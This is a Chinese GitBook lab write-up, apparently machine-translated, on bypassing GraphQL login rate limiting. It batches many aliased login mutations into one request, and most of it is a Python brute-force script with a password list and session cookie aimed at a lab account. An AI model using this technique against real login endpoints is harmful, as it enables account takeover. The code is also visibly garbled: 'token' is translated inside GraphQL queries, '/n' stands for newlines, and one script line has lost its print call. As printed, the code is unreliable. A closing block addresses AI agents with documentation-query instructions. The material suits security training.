> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-anti-brute-force-protection-bypass.md). # 绕过 GraphQL 防爆破保护 ### 绕过 GraphQL 暴力破解防护 #### 实验上下文 实验室登录表单基于 API **GraphQL** 与一个 **速率限制**: 在多次错误尝试后，端点会返回一个错误，提示你必须等待（例如 1 分钟）后才能再次尝试。 目的： **暴力登录** 以……身份连接 **carlos**，使用身份验证实验室提供的密码列表。 ```json { "query": "/nquery getBlogSummaries {/n getAllBlogPosts {/n image/n title/n summary/n id/n }/n}", "operationName": "getBlogSummaries" } ``` #### (1) 观察 GraphQL 请求 通过拦截连接，我们恢复出如下类型的 mutation： ```json { "query": "/n mutation login($input: LoginInput!) {/n login(input: $input) {/n token/n success/n }/n }", "operationName": "login", "variables": { "input": { "username": "carlos", "password": "test" } } } ``` 在过多错误尝试后，API 会返回一个限制错误： ```json { "errors": [ { "path": [ "login" ], "extensions": { "message": "你已进行过多错误的登录尝试。请在 1 分钟后重试。" }, "locations": [ { "line": 3, "column": 9 } ], "message": "在获取数据时发生异常（/login）：你已进行过多错误的登录尝试。请在 1 分钟后重试。" } ], "data": { "login": null } } ```
### 2）为什么要重复字段？ 一个自然的想法是发送多个 `login` 调用到 **一个 mutation 中**.
身份验证实验室密码 123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow
但如果我们不加区分地重复同一个字段，GraphQL 会拒绝，因为这些字段会变得含糊不清（同一层级出现相同名称）。 ```graphql mutation login($input: LoginInput!) { login(input: $input) { 令牌 success } } ```
无效示例（结构错误 / 字段冲突）： ```graphql mutation login { login(input: { username: "carlos", password: "test" }) { 令牌 success } } ``` ```graphql mutation{ login(input: { username: "carlos", password: "test" }) { 令牌 success } } login(input: { username: "carlos", password: "hack" }) { 令牌 success } } ```
### 3）变通：使用别名 GraphQL 允许使用以下方式重命名每次调用： **别名**。/ 因此，你可以执行 **在一个 HTTP 请求中进行多次登录尝试**，这会降低速率限制的影响 有效示例： ```graphql mutation login{ loginTest: login(input: { username: "carlos", password: "test" }) { 令牌 success } loginHack: login(input: { username: "carlos", password: "hack" }) { 令牌 success } } ``` 因此，API 会在同一个窗口中处理多次测试，以限制副作用。
### 4）自动化（脚本方法） 原理： * 构建 `mutation login {... }` * 按密码添加一行： * `login{i}: login(input: { username: "carlos", password: "..." }) { token success }` * 发送请求 * 浏览 `data.login{i}` 以查找 `success: true` ```python import requests import time url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1" headers = { "Content-Type": "application/json", "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0", "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login", "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net" } passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"] def brute_force_all_at_once(): [*] 正在使用所有密码创建 GraphQL 查询... query = "mutation login {/n" for i, pwd in enumerate(passwords): query += f' login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n token/n success/n }}/n' query += "}" print(f"[*] 查询长度：{len(query)} 个字符") print(f"[*] 一次测试 {len(passwords)} 个密码...") payload = {"query": query} start_time = time.time() try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() for i, pwd in enumerate(passwords): result = data.get("data", {}).get(f"login{i}") if result and result.get("success"): print(f"/n[+] 成功！") print(f"[+] 用户名：carlos") print(f"[+] 密码：{pwd}") print(f"[+] 令牌：{result.get('token')}") print(f"[+] 耗时：{time.time() - start_time:.2f} 秒") return True else: print("[-] 在列表中未找到密码") else: print(f"[-] HTTP 错误：{response.status_code}") print(response.text[:200]) except requests.exceptions.RequestException as e: print(f"[-] 请求失败：{e}") return False if __name__ == "__main__": print("=" * 50) print("GraphQL 暴力破解攻击") print("使用别名绕过速率限制") print("=" * 50) if brute_force_all_at_once(): print("/n[+] 攻击成功完成！") else: print("/n[-] 攻击失败") ``` 找到的密码对应于 **carlos** 是：
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.